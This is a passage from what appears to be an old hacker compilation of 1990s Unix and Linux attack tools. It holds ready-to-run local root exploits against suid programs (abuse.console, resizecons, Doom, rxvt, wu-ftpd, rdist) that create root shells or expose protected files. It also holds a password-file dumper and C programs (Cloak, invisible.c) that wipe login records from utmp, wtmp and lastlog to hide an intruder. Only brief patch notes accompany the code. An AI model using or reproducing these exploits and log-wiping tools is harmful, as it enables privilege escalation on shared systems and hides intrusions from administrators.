  5642.   *  <last_time>     = Time (seconds from epoch) of the last password
  5643.   *        change (type long).
  5644.   *        0, never changed.n
  5645.   *  <old_time>     = Time (seconds from epoch) that the current password
  5646.   *        was made the <old_password> (type long).
  5647.   *        0, never changed.ewromsinm
  5648.   *  <old_password> = Password (encrypted) saved for an aging <period> to
  5649.   *        prevent reuse during that period (type char [20]).
  5650.   *        "*******", no <old_password>.
  5651.   */
  5652.  
  5653.  /* number of tries to change an aged password */
  5654.  
  5655.  #define  CHANGE_TRIES 3
  5656.  
  5657.  /* program to execute to change passwords */
  5658.  
  5659.  #define  PASSWD_PROG "/bin/passwd"
  5660.  
  5661.  /* Name of the password aging exempt user names and max number of entires */
  5662.  
  5663.  #define  EXEMPTPW "/etc/exemptpw"
  5664.  #define MAX_EXEMPT 100
  5665.  
  5666.  /* Password criteria to enforce */
  5667.  
  5668.  #define BSD_CRIT 0    /* Normal BSD password criteria */
  5669.  #define STR_CRIT 1     /* Strong password criteria */
  5670.  #define MAX_CRIT 1
  5671.  #endif   elxsi
  5672.  #define NULL 0
  5673.  main()
  5674.  {
  5675.     struct passwd *p;
  5676.     int i;
  5677.     for (;1;) {;
  5678.       p=getpwent();
  5679.       if (p==NULL) return;
  5680.       printpw(p);
  5681.     }
  5682.  }
  5683.  
  5684.  printpw(a)
  5685.  struct SHADOWPW *a;
  5686.  {
  5687.     printf("%s:%s:%d:%d:%s:%s:%s\n",
  5688.        a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
  5689.        a->pw_gecos,a->pw_dir,a->pw_shell);
  5690.  }
  5691.  
  5692.  /* SunOS 5.0        /etc/shadow */
  5693.  /* SunOS4.1+c2     /etc/security/passwd.adjunct */
  5694.  
  5695. ------------ cut here
  5696.  
  5697. ..........................................................................
  5698. .                                                                        .
  5699. . 8. Abuse Root Exploit (linux game program)                             .
  5700. .                                                                        .
  5701. ..........................................................................
  5702.  
  5703. ---------- cut here
  5704.  
  5705. There is a security hole in RedHat 2.1, which installs the game abuse,
  5706. /usr/lib/games/abuse/abuse.console suid root.  The abuse.console program
  5707. loads its files without absolute path names, assuming the user is running
  5708. abuse from the /usr/lib/games/abuse directory.  One of these files in the
  5709. undrv program, which abuse executes as root.  If the user is not in the
  5710. abuse directory when running this, an arbitrary program can be substituted
  5711. for undrv, allowing the user to execute arbitrary commands as root. 
  5712.    If abuse.console needs to be run by users other than root at the console,
  5713. provisions need to be made in the code to not execute or load any files
  5714. as root.
  5715.  
  5716.                    Program: /usr/lib/games/abuse/abuse.console suid root
  5717. Affected Operating Systems: Red Hat 2.1 linux distribution
  5718.               Requirements: account on system
  5719.                      Patch: chmod -s /usr/lib/games/abuse/abuse.console
  5720.        Security Compromise: root
  5721.                     Author: Dave M. (davem@cmu.edu)
  5722.                   Synopsis: abuse.console runs undrv without an absolute
  5723.                             pathname while executing as root, allowing
  5724.                             a user to substitute the real undrv with 
  5725.                             an arbitrary program.
  5726.  
  5727. Exploit:
  5728. #!/bin/sh
  5729. #
  5730. # abuser.sh
  5731. # exploits a security hole in abuse to create
  5732. # a suid root shell /tmp/abuser on a linux
  5733. # Red Hat 2.1 system with the games package 
  5734. # installed.
  5735. #
  5736. # For release 2/2/96 - 1 drink credit please.
  5737. #
  5738. # by Dave M. (davem@cmu.edu)
  5739. #
  5740. echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
  5741. echo ================ Checking system vulnerability
  5742. if test -u /usr/lib/games/abuse/abuse.console
  5743. then
  5744. echo ++++++++++++++++ System appears vulnerable.
  5745. cd /tmp
  5746. cat << _EOF_ > /tmp/undrv
  5747. #!/bin/sh
  5748. /bin/cp /bin/sh /tmp/abuser
  5749. /bin/chmod 4777 /tmp/abuser
  5750. _EOF_
  5751. cat << _EOF_ >> /tmp/the_wall
  5752. so ya thought ya might like to go to the show
  5753. to feel the warm thrill of confusion that space cadet glow
  5754. tell me is something eluding you sunshine?
  5755. is this not what you expected to see?
  5756. if you wanna find out what's behind these cold eyes
  5757. you'll just have to claw your way through this disguise
  5758. _EOF_
  5759. chmod +x /tmp/undrv
  5760. PATH=/tmp
  5761. echo ================ Executing Abuse
  5762. /usr/lib/games/abuse/abuse.console
  5763. /bin/rm /tmp/undrv
  5764. /bin/rm /tmp/the_wall
  5765. if test -u /tmp/abuser
  5766. then
  5767. echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
  5768. else
  5769. echo ---------------- Exploit failed
  5770. fi
  5771. else
  5772. echo ---------------- This machine does not appear to be vulnerable.
  5773. fi
  5774. ----------- cut here
  5775.  
  5776. ..........................................................................
  5777. .                                                                        .
  5778. . 9. Doom (game) root exploit - makes suid root shell                    .
  5779. .                                                                        .
  5780. ..........................................................................
  5781.  
  5782.  
  5783. ----------- Start reading
  5784. From bo@ebony.iaehv.nl Tue Dec 17 18:53:18 1996
  5785. Date: Tue, 17 Dec 1996 10:18:24 +0100
  5786. From: Bo <bo@ebony.iaehv.nl>
  5787. To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
  5788. Subject: Re: Linux: killmouse/doom
  5789.  
  5790. > From: Joe Zbiciak <im14u2c@cegt201.bradley.edu>
  5791. > Subject:      Re: Linux: exploit for killmouse.
  5792. >
  5793. > Which reminds me, there's a bigger hole in Doom.  It doesn't drop its
  5794. > root permissions soon enough!  The user is allowed to set a sound server
  5795. > in his/her .doomrc.  Normally, this is set to "sndserver".  Howver, this
  5796. > can be set to *any* program, and that program runs as root!!
  5797.  
  5798. Yes,  very true. And just in case anybody collects these scripts, here's
  5799. the obvious one:
  5800.  
  5801. ------------ CUT HERE --------------
  5802. #!/bin/sh
  5803. # Tue Dec 17 10:02:20 MET 1996 Bo
  5804. echo 'sndserver "/tmp/sndserver"' > .doomrc
  5805. cat > /tmp/sndserver.c << EOF
  5806. #include <stdio.h>
  5807. #include <unistd.h>
  5808. main() {
  5809.         if (fork()) while (getc(stdin));
  5810.         else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
  5811.                 /* or whatever you like to do */
  5812. }
  5813. EOF
  5814. gcc /tmp/sndserver.c -o /tmp/sndserver
  5815.  
  5816. ------------ CUT HERE --------------
  5817.  
  5818. The  fork()  is  just so that doom runs on nicely without locking up the
  5819. keyboard  and  sndserver  gobbles  up all the sound data send to it. Run
  5820. the script, start sdoom, quit the normal way, and execute /tmp/sh.
  5821.  
  5822. Thanks for pointing it out, Joe.
  5823.  
  5824. Regards,
  5825.                 Bo.
  5826.  
  5827. --
  5828.                 "Heisenberg may have been here".
  5829.  
  5830. --------------- end of read
  5831.  
  5832. ..........................................................................
  5833. .                                                                        .
  5834. . 10. dosmenu suid root exploit                                          .
  5835. .                                                                        .
  5836. ..........................................................................
  5837.  
  5838.  
  5839. --------- read
  5840.  
  5841. In Debian 1.1, the optional DOSEMU package installs /usr/sbin/dos
  5842. setuid root.  This is a serious security hole which can be exploited
  5843. to gain access to any file on the system.
  5844.  
  5845. Package: dosemu
  5846. Version: 0.64.0.2-9
  5847.  
  5848. ------- start of cut text --------------
  5849.  
  5850. $ cat /etc/debian_version 
  5851. 1.1
  5852. $ id
  5853. uid=xxxx(quinlan) gid=xxxx(quinlan) groups=xxxx(quinlan),20(dialout),24(cdrom)
  5854. [quinlan:~]$ ls -al /usr/bin/dos
  5855. -rwsr-xr-x   1 root     root       569576 Oct 24 00:05 /usr/bin/dos
  5856. $ ls -al /root/foo
  5857. -rw-------   1 root     root         1117 Nov 13 23:10 /root/foo
  5858. $ dos -F /root/foo
  5859. [ Prints /root/foo, which is not readable by user `quinlan'. ]
  5860.  
  5861. ------- Cut here
  5862.  
  5863. I expect there may be other holes in dosemu other than this one that
  5864. can be exploited if it is installed setuid root.  It took about 60
  5865. seconds to find this hole once I realized /usr/bin/dos was setuid
  5866. root.
  5867.  
  5868. Dan
  5869.  
  5870. Note: This security hole can be corrected by removing the suid bit from
  5871. /usr/bin/dos:
  5872. ----------------------------
  5873. $ chmod u-s /usr/bin/dos
  5874. ----------------------------
  5875.  
  5876. Jonathan
  5877.  
  5878. ----------- end of read
  5879.  
  5880. ..........................................................................
  5881. .                                                                        .
  5882. . 11. Doom root killmouse exploit                                        .
  5883. .                                                                        .
  5884. ..........................................................................
  5885.  
  5886. System:
  5887. Probably  Linux  specific.  Slackware  3.0 (installs Linux 1.2.13) which
  5888. have  gpm  utility  and/or  the  Doom  package installed are vulnerable.
  5889. Other distributions might be too.
  5890.  
  5891. Impact:
  5892. Local users can acquire root status.
  5893.  
  5894. Background:
  5895. The  problem  is  the  killmouse/startmouse command that is part of Doom
  5896. package  on  Linux  systems.  It  is  actually a C-wrapper that runs two
  5897. scripts  (killmouse.sh/startmouse.sh). It runs suid root.
  5898.  
  5899. Problem:
  5900. I would try to describe the problem but I can't stop laughing.
  5901.  
  5902. Exploit:
  5903. This  can  be  exploited  in  a few similar ways. Here's just one. Let's
  5904. assume  the  gpm  utility is not running. We can't start it up ourselves
  5905. as gpm is only to be run by root. So we'll use startmouse to fire it up:
  5906.  
  5907. $ touch /tmp/gpmkilled
  5908. $ /usr/games/doom/startmouse
  5909.  
  5910. ps -aux | grep gpm
  5911. bo        1436  0.0  2.0   40  312 v03 R    16:33   0:00 grep gpm
  5912. root      1407  0.0  2.4   42  368  ?  S    16:24   0:00 /usr/bin/gpm t ms
  5913.  
  5914. Fine,  it's  running.  Now  we'll use killmouse to kill the process, but
  5915. first we set our umask to 0 and link /tmp/gpmkilled to /root/.rhosts:
  5916.  
  5917. $ umask 0
  5918. $ ln -s /root/.rhosts /tmp/gpmkilled
  5919. $ /usr/games/doom/killmouse
  5920.  1407  ?  S     0:00 gpm t ms
  5921.  
  5922. $ ls -l /root/.rhosts
  5923. -rw-rw-rw-   1 root     users           0 Dec 13 16:44 /root/.rhosts
  5924.  
  5925. $ echo localhost bo > /root/.rhosts
  5926. $ rsh -l root localhost sh -i
  5927. bash#
  5928.  
  5929. Bingo.  On  some  systems gpm might not be started in /etc/rc.d/rc.local
  5930. so  the  startmouse  script will fail. But gpm might be running already.
  5931. If  neither of these conditions are met, note that startmouse.sh creates
  5932. /tmp/gpmscript  and runs it in a shell. There's a window of time between
  5933. creating  the  script and executing it, so we have a nice race condition
  5934. here; it can be replaced with anything you like prior to execution.
  5935.  
  5936. Solution:
  5937. Remove  setuid  bits  of  killmouse/startmouse.  Better yet - nuke them.
  5938. While your at it, nuke Doom too - it's a stupid game anyway :-)
  5939.  
  5940. Best regards,
  5941.                 Bo (bo@ebony.iaehv.nl)
  5942.  
  5943.  
  5944. killmouse exploit
  5945. ------------------ cut here
  5946.  
  5947. /usr/games/doom/startmouse.sh:
  5948. #!/bin/sh
  5949. if [ -r /tmp/gpmkilled ]; then
  5950.   /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
  5951.   /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled
  5952. fi
  5953.  
  5954. /usr/games/doom/killmouse.sh:
  5955. #!/bin/sh
  5956. if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then
  5957.   GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled
  5958. fi
  5959.  
  5960. ----------- cut here
  5961.  
  5962. ..........................................................................
  5963. .                                                                        .
  5964. . 12. Root exploit for resize icons                                      .
  5965. .                                                                        .
  5966. ..........................................................................
  5967.  
  5968. There is a security hole in RedHat 2.1, which installs the program
  5969. /usr/bin/resizecons suid root.  The resizecons program allows a user
  5970. to change the videmode of the console.  During this process, it runs
  5971. the program restoretextmode without an absolute pathname, assuming the
  5972. correct version will be found in the path, while running with root
  5973. privileges.  It then executes setfont in the same manner.  By setting
  5974. the path to find a rogue restoretextmode, a user can execute an arbitrary
  5975. program as root.
  5976.  
  5977. As a more amusing aside, the file /tmp/selection.pid is read and the
  5978. pid contained within is sent a SIGWINCH, allowing a user on the system
  5979. to force a redraw of the screen to an arbitrary process (that handles 
  5980. SIGWINCH calls) on the machine. 
  5981.  
  5982. If /usr/bin/resizecons needs to be run by users other than root at the
  5983. console, provisions need to be made in the code to execute the outside
  5984. utilities with absolute pathnames, and to check access rights on files
  5985. before opening.
  5986.  
  5987.                    Program: /usr/bin/resizecons
  5988. Affected Operating Systems: Red Hat 2.1 linux distribution
  5989.               Requirements: account on system
  5990.            Temporary Patch: chmod -s /usr/bin/resizecons
  5991.        Security Compromise: root
  5992.                     Author: Dave M. (davem@cmu.edu)
  5993.                   Synopsis: resizecons runs restoretextmode without an
  5994.                             absolute pathname while executing as root,
  5995.                             allowing a user to substitute the real
  5996.                             program with arbitrary commands.
  5997.  
  5998.  
  5999. ----------cut here
  6000. wozzeck.sh:
  6001. #!/bin/sh
  6002. #
  6003. # wozzeck.sh
  6004. # exploits a security hole in /usr/bin/resizecons 
  6005. # to create a suid root shell in /tmp/wozz on a 
  6006. # linux Red Hat 2.1 system.
  6007. #
  6008. # by Dave M. (davem@cmu.edu)
  6009. echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
  6010. echo ================ Checking system vulnerability
  6011. if test -u /usr/bin/resizecons
  6012. then
  6013. echo ++++++++++++++++ System appears vulnerable.
  6014. cd /tmp
  6015. cat << _EOF_ > /tmp/313x37
  6016. This exploit is dedicated to 
  6017. Wozz.  Use it with care.
  6018. _EOF_
  6019. cat << _EOF_ > /tmp/restoretextmode
  6020. #!/bin/sh
  6021. /bin/cp /bin/sh /tmp/wozz
  6022. /bin/chmod 4777 /tmp/wozz
  6023. _EOF_
  6024. /bin/chmod +x /tmp/restoretextmode
  6025. PATH=/tmp
  6026. echo ================ Executing resizecons
  6027. /usr/bin/resizecons 313x37
  6028. /bin/rm /tmp/restoretextmode
  6029. /bin/rm /tmp/313x37
  6030. if test -u /tmp/wozz
  6031. then
  6032. echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
  6033. else
  6034. echo ---------------- Exploit failed
  6035. fi
  6036. else
  6037. echo ---------------- This machine does not appear to be vulnerable.
  6038. fi
  6039.  
  6040. -------------- cut here
  6041.  
  6042. ..........................................................................
  6043. .                                                                        .
  6044. . 13. Root console exploit for restorefont                               .
  6045. .                                                                        .
  6046. ..........................................................................
  6047.  
  6048. Linux 'restorefont' Security Holes
  6049. by FEH Staff
  6050.  
  6051. Linux's svgalib utilities, required to be suid root, have a problem in that
  6052. they do not revoke suid permissions before reading a file.  This is exploited
  6053. in the restorefont utility, but similar bugs exist in other svgalib utilities.
  6054. The restorefont utility serves two functions.  First, it will read a font from
  6055. a file and write it to the console as the font.  Second, it will read a font
  6056. from the console and write it out to a file.  Luckily, the specific bug
  6057. in restorefont can only be exploited if someone is at the console, reducing
  6058. its overall impact on the security of the system as a whole.
  6059.  
  6060. In writing the utilities, the authors are cognizant of the fact that when
  6061. writing out the font, suid permissions must first be given up; it is in fact
  6062. commented as such in the code.  However, when reading in a font, the program
  6063. is still running with full suid root permissions.  This allows us to read in
  6064. any file for the font that root could access (basically, anything).
  6065.  
  6066. The applicable code to read in the file is shown below:
  6067.  
  6068. #define FONT_SIZE 8192
  6069. unsigned char font[FONT_SIZE];
  6070.  
  6071.     if (argv[1][1] == 'r') {
  6072.         FILE *f;
  6073.         f = fopen(argv[2], "rb");
  6074.         if (f == NULL) {
  6075.             error:
  6076.             perror("restorefont");
  6077.             exit(1);
  6078.         }
  6079.         if(1!=fread(font, FONT_SIZE, 1, f))
  6080.             {
  6081.             if(errno)
  6082.                 goto error;
  6083.             puts("restorefont: input file corrupted.");
  6084.             exit(1);
  6085.             }
  6086.         fclose(f);
  6087.  
  6088. We can see from this that the file to be read in has to be at least 8k,
  6089. as if it is not, the program will produce an error and exit.  If the file
  6090. is at least 8k, the first 8k are read into the buffer, and the program 
  6091. proceeds to set whatever the contents of the file are to the font:
  6092.     vga_disabledriverreport();
  6093.     vga_setchipset(VGA);        /* avoid SVGA detection */
  6094.     vga_init();
  6095.     vga_setmode(G640x350x16);
  6096.     vga_puttextfont(font);
  6097.     vga_setmode(TEXT);
  6098.  
  6099. At this point, the console will now look quite unreadable if you are
  6100. reading something other than a font from that file.  But, the data that
  6101. is put into the font is left untouched and is readable using the -w option
  6102. of restorefont.  We then read the font back from video memory to a new file,
  6103. and our job is complete, we have read the first 8k of a file we shouldn't
  6104. have had access to.  To prevent detection of having run this, we probably
  6105. shouldn't leave an unreadable font on the screen, so we save and then restore
  6106. the original font before reading from the file.
  6107. The complete exploit is shown below:
  6108.  
  6109.                    Program: restorefont, a svgalib utility
  6110. Affected Operating Systems: linux
  6111.               Requirements: logged in at console
  6112.        Security Compromise: user can read first 8k of any file of at least
  6113.                             8k in size on local filesystems
  6114.                   Synopsis: restorefont reads a font file while suid root,
  6115.                             writing it to video memory as the current vga
  6116.                             font; anyone at console can read the current
  6117.                             font to a file, allowing you to use video memory
  6118.                             as an 8k file buffer.
  6119.  
  6120. -------------
  6121. rfbug.sh:
  6122. --------------------cut here
  6123. #!/bin/sh
  6124. restorefont -w /tmp/deffont.tmp
  6125. restorefont -r $1
  6126. restorefont -w $2
  6127. restorefont -r /tmp/deffont.tmp
  6128. rm -f /tmp/deffont.tmp
  6129. -----------------------------------cut here
  6130.  
  6131. ..........................................................................
  6132. .                                                                        .
  6133. . 14. Root rxvt X server exploit                                         .
  6134. .                                                                        .
  6135. ..........................................................................
  6136.  
  6137. Program: rxvt
  6138. Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
  6139.                             rxvt suid root (and compiled with PRINT_PIPE)
  6140.               Requirements: account on system, X server
  6141.            Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
  6142.        Security Compromise: root
  6143.                     Author: Dave M. (davem@cmu.edu)
  6144.                   Synopsis: rxvt fails to give up root privileges before
  6145.                             opening a pipe to a program that can be specified
  6146.                             by the user.
  6147.  
  6148.  
  6149. Exploit:
  6150. 1.  Set DISPLAY environment variable if necessary so you can use x clients.
  6151. 2.  In user shell:
  6152.     $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
  6153.     $ chmod +x /tmp/rxbug
  6154.     $ rxvt -print-pipe /tmp/rxbug
  6155. 3.  In rxvt xclient:
  6156.     $ cat
  6157.       ESC[5i
  6158.       ESC[4i
  6159.     (The client will close at this point with a broken pipe)
  6160. 4.  $ /tmp/rxsh
  6161.     # whoami
  6162.     root
  6163.     #
  6164.  
  6165. ..........................................................................
  6166. .                                                                        .
  6167. .15. Root wuftpd exploit                                                 .
  6168. ..........................................................................
  6169.  
  6170. The following is gleaned from the BugTraq mailing list:
  6171. -------------------------------------------------------
  6172. Since Bugtraq is exceptionally quiet lately, I though I should make it
  6173. come alive again with this discussion of the bug that was reported in
  6174. the wu.ftpd that comes with some Slackware distributions of Linux.
  6175. The report was just before Bugtraq went down for a long time, but
  6176. I've found the bug still to be present on all the Linux machines that
  6177. I have access to. So maybe it needs to be brought a little more in
  6178. the open. Here we go:
  6179.  
  6180. ObBug: - Short description of the bug
  6181.  
  6182. It involves wu.ftpd being misconfigured at compile time and allowing
  6183. SITE EXEC access to /bin (for anonymous or otherwise chroot-ed users
  6184. this is ~ftp/bin). Now if in this /bin resides a program that gives
  6185. access to executables outside /bin, but in the users reach (such as
  6186. /bin/bash that gives access to the user's homedir), this opens up
  6187. a root vulnerability. This should have been set to /bin/ftp-exec and
  6188. which be set by the _PATH_EXECPATH variable in src/pathnames.h before
  6189. compiling. The wu-ftpd-2.4_linux.tgz that I found somewhere on the
  6190. net has this securely set as default value.
  6191.  
  6192. - How to check ?
  6193.  
  6194. $ ftp -n localhost
  6195. user: <userid>
  6196. password: <passwd>
  6197. ftp> quote site exec bash -c id
  6198.  
  6199. If vulnerable it gives here: uid=0, gid=0, euid=<yourid>, egid=<your-gids>
  6200.  
  6201. Of course, bash should not be available at all
  6202.  
  6203. - How to exploit (in case your sysadmin or you think the above is not
  6204.   a problem)
  6205.  
  6206. go to your homedir and make a program: duh.c (or whatever)
  6207.  
  6208. main() {
  6209.    seteuid(0);
  6210.    setegid(0);
  6211.    system("/bin/cp /bin/sh ./sh");
  6212.    system("/bin/chmod 6755 ./sh");
  6213. }
  6214.  
  6215. $ make duh
  6216. $ ftp -n localhost (and login)
  6217. user: <userid>
  6218. password: <passwd>
  6219. ftp> quote site exec bash -c duh
  6220. ftp> quit
  6221.  
  6222. $ ./sh
  6223.  
  6224. bash#
  6225.  
  6226. (voila, QED)
  6227.  
  6228. - How to fix?
  6229.  
  6230. Get the source of wu-ftpd-2.4.linux.tar.gz (stock wu-ftpd-2.4 from wuarchive
  6231. doesn't compile on linux) and compile it; you might want to define the
  6232. _PATH_PIDNAMES and _PATH_XFERLOG to other values there...(/usr/adm/ftp.pids-%s
  6233. and /usr/adm/xferlog for example). If you cannot find that I can email the
  6234. source to you,...if you trust the source I took somewhere unmodified and
  6235. if you trust me ;-) An arch search for wu-ftpd-2.4 will give you sites too.
  6236. I can remember that I got it that way.
  6237.  
  6238. $) Henri Karrenbeld
  6239. -----------------------------------------------------------------------------
  6240. Hardware, n.:
  6241.         The parts of a computer system that can be kicked.
  6242. -----------------------------------------------------------------------------
  6243.  
  6244. ..........................................................................
  6245. .                                                                        .
  6246. . 16. A shell script called gimme, used to read any system file          .
  6247. ..........................................................................
  6248.  
  6249. ----------------cut here
  6250. #! /bin/sh
  6251. # GIMME - "gimme' a file"
  6252. # Demonstrate rdist's ability to give me permission to access anything.
  6253. #
  6254. # gimme <pathname> [<permission> [<directory>]]
  6255. #       <pathname> is the target file.
  6256. #       <permission> is the octal mode to which the file access permission
  6257. #               should be set.  Note that this may not be effective unless
  6258. #               either the SUID (4000) or SGID (2000) bits are also requested.
  6259. #       <directory> is the target directory for rdist to use if a hard
  6260. #               link is desired.  Note that the user must have permission
  6261. #               to create this directory, it must be on the same filesystem
  6262. #               as the target file, and the target file must not be a
  6263. #               directory.  This option is necessary to change the ownership
  6264. #               of the target if chown() of a symbolic link modifies the
  6265. #               link itself, and not the file it refers to.
  6266. #
  6267.  
  6268. dirname=gimme$$
  6269. deftemp=/tmp
  6270. defperm=6777
  6271.  
  6272. if [ $1x = x ]; then
  6273.         echo "Usage: $0 <pathname> [<permission> [<directory>]]" >&2
  6274.         exit 1
  6275. fi
  6276.  
  6277. if [ $2x != x ]; then
  6278.         perm=$2
  6279. else
  6280.         perm=$defperm
  6281. fi
  6282.  
  6283. if [ $3x != x ]; then
  6284.         link="ln"
  6285.         temp=$3/$dirname
  6286.         target=$1
  6287. else
  6288.         link="ln -s"
  6289.         temp=$deftemp/$dirname
  6290.         case $1 in
  6291.         /*)
  6292.                 target=$1
  6293.                 ;;
  6294.         *)
  6295.                 target=`pwd`/$1
  6296.                 ;;
  6297.         esac
  6298. fi
  6299.  
  6300. trap "rm -fr $temp; exit 1"  1 2 15
  6301. umask 66
  6302. mkdir $temp; if [ $? != 0 ]; then
  6303.         exit 1
  6304. fi
  6305.  
  6306. set `whoami` $LOGNAME
  6307. user=$1
  6308. set daemon `groups`
  6309. while [ $# != 1 ]; do
  6310.         shift
  6311. done
  6312. group=$1
  6313.  
  6314. (
  6315.         echo "t$temp/something"
  6316.         echo "R0 $perm 1 0 $user $group "
  6317.  
  6318.         while [ ! -f $temp/rdist* ]; do
  6319.                 sleep 1
  6320.         done
  6321.  
  6322.         set $temp/rdist*
  6323.         rm -f $1
  6324.         if $link $target $1 >&2; then
  6325.                 echo "" | dd bs=3 conv=sync 2>/dev/null
  6326.                 echo ""
  6327.  
  6328.                 echo 0 > $temp/status
  6329.         else
  6330.                 echo 1 > $temp/status
  6331.         fi
  6332.  
  6333.         exit
  6334. ) | rdist -Server
  6335.  
  6336. status=`cat $temp/status`
  6337. rm -fr $temp
  6338. exit $status
  6339. -----------------------------cut here
  6340.  
  6341.  
  6342.  
  6343. *********************************************
  6344. * Appendix IV - Other UNIX system utilities *
  6345. *********************************************
  6346.  
  6347.  
  6348. ..........................................................................
  6349. .                                                                        .
  6350. . 1. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX  .
  6351. ..........................................................................
  6352.  
  6353.  
  6354. ------------------ cut here
  6355.  
  6356. /* UNIX Cloak v1.0 (alpha)  Written by: Wintermute of -Resist- */
  6357. /* This file totally wipes all presence of you on a UNIX system*/
  6358. /* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
  6359. /* is compatible..  This file is for information purposes ONLY!*/
  6360.  
  6361. /*--> Begin source...    */
  6362. #include <fcntl.h>
  6363. #include <utmp.h>
  6364. #include <sys/types.h>
  6365. #include <unistd.h>
  6366. #include <lastlog.h>
  6367.  
  6368. main(argc, argv)
  6369.     int     argc;
  6370.     char    *argv[];
  6371. {
  6372.     char    *name;
  6373.     struct utmp u;
  6374.     struct lastlog l;
  6375.     int     fd;
  6376.     int     i = 0;
  6377.     int     done = 0;
  6378.     int     size;
  6379.  
  6380.     if (argc != 1) {
  6381.          if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
  6382.          printf("You are now cloaked\n");
  6383.          goto start;
  6384.                                                            }
  6385.          else {
  6386.           printf("close successful\n");
  6387.           exit(0);
  6388.           }
  6389.            }
  6390.     else {
  6391.      printf("usage: close [file to close]\n");
  6392.      exit(1);
  6393.      }
  6394. start:
  6395.     name = (char *)(ttyname(0)+5);
  6396.     size = sizeof(struct utmp);
  6397.  
  6398.     fd = open("/etc/utmp", O_RDWR);
  6399.     if (fd < 0)
  6400.     perror("/etc/utmp");
  6401.     else {
  6402.     while ((read(fd, &u, size) == size) && !done) {
  6403.         if (!strcmp(u.ut_line, name)) {
  6404.         done = 1;
  6405.         memset(&u, 0, size);
  6406.         lseek(fd, -1*size, SEEK_CUR);
  6407.         write(fd, &u, size);
  6408.         close(fd);
  6409.         }
  6410.     }
  6411.     }
  6412.  
  6413.  
  6414.     size = sizeof(struct lastlog);
  6415.     fd = open("/var/adm/lastlog", O_RDWR);
  6416.     if (fd < 0)
  6417.     perror("/var/adm/lastlog");
  6418.     else {
  6419.     lseek(fd, size*getuid(), SEEK_SET);
  6420.     read(fd, &l, size);
  6421.     l.ll_time = 0;
  6422.     strncpy(l.ll_line, "ttyq2 ", 5);
  6423.     gethostname(l.ll_host, 16);
  6424.     lseek(fd, size*getuid(), SEEK_SET);
  6425.     close(fd);
  6426.     }
  6427. }
  6428. ---------------cut here
  6429.  
  6430. .............................................................................
  6431. .                                                                           .
  6432. . 2. invisible.c  Makes you invisible, and works on some SunOS without root .
  6433. .............................................................................
  6434.  
  6435.  
  6436. ----------- cut here
  6437. /* invisible.c - a quick hack courtesy of the rogue */
  6438. /* erases your presence when root, or partially erases when on a sun and not root */
  6439. /* peace, dudes */
  6440.  
  6441.  
  6442. #include <fcntl.h>
  6443. #include <utmp.h>
  6444. #include <sys/types.h>
  6445. #include <unistd.h>
  6446. #include <lastlog.h>
  6447.  
  6448. main(argc, argv)
  6449.     int     argc;
  6450.     char    *argv[];
  6451. {
  6452.     char    *name;
  6453.     struct utmp u;
  6454.     struct lastlog l;
  6455.     int     fd;
  6456.     int     i = 0;
  6457.     int     done = 0;
  6458.     int     size;
  6459.  
  6460.     name = (char *)(ttyname(0)+5);
  6461.     size = sizeof(struct utmp);
  6462.     
  6463.     fd = open("/etc/utmp", O_RDWR);
  6464.     if (fd < 0)
  6465.     perror("/etc/utmp");
  6466.     else {
  6467.     while ((read(fd, &u, size) == size) && !done) {
  6468.         if (!strcmp(u.ut_line, name)) {
  6469.         done = 1;
  6470.         memset(&u, 0, size);
  6471.         lseek(fd, -1*size, SEEK_CUR);
  6472.         write(fd, &u, size);
  6473.         close(fd);
  6474.         }
  6475.     }
  6476.     }
  6477.     memset(&u, 0, size);
  6478.     fd = open("/var/adm/wtmp", O_RDWR | O_TRUNC);
  6479.     if (fd < 0)
  6480.     perror("/var/adm/wtmp");
  6481.     else {
  6482.     u.ut_time = 0;
  6483.     strcpy(u.ut_line, "~");
  6484.     strcpy(u.ut_name, "shutdown");
  6485.     write(fd, &u, size);
  6486.     strcpy(u.ut_name, "reboot");
  6487.     write(fd, &u, size);
  6488.     close(fd);
  6489.     }
  6490.  
  6491.  
  6492.     size = sizeof(struct lastlog);
  6493.     fd = open("/var/adm/lastlog", O_RDWR);
  6494.     if (fd < 0)
  6495.     perror("/var/adm/lastlog");
  6496.     else {
  6497.     lseek(fd, size*getuid(), SEEK_SET);
  6498.     read(fd, &l, size);
  6499.     l.ll_time = 0;
  6500.     strncpy(l.ll_line, "ttyq2 ", 5);
  6501.     gethostname(l.ll_host, 16);
  6502.     lseek(fd, size*getuid(), SEEK_SET);
  6503.     write(fd, &l, size);
  6504.     close(fd);
  6505.     }
  6506.     
  6507. }
  6508. ----------- cut here
  6509.  
  6510. ..........................................................................
  6511. .                                                                        .
  6512. . 3. SySV Program that makes you invisible                               .
  6513. ..........................................................................
  6514.  
  6515.  
  6516. --------- cut here
  6517.  
  6518. /* MME - MakeME, Version 1.00 for SySV / Source Compatible machines   
  6519.          MME will allow you to remove yerself from the UTMP file, change
  6520.          what name appears for you in UTMP, or change what TTY you appear
  6521.          to be on.
  6522.  
  6523. If you modify this program or incorporate some of these routines into
  6524. another program, please somewhere in the program tell where you got
  6525. them from.. namely, put in some credits to me & This program , so
  6526. you don't "playgerize".  It makes me mad when someone modifies someone
  6527. else's work then pawns it off as their own original piece.  The credits
  6528. can even be in a comment somewhere in the source instead of visual to
  6529. the user. 
  6530.  
  6531. syntax:
  6532. mme
  6533. mme login_name
  6534. mme login_name new_tty
  6535.  
  6536. in order to change tty name, you must first supply a login name
  6537. then a ttyname.
  6538.  
  6539. You MUST have write perm's to /etc/utmp to modify the main utmp file.
  6540. */
  6541.  
  6542. #include <stdio.h>
  6543. #include <fcntl.h>
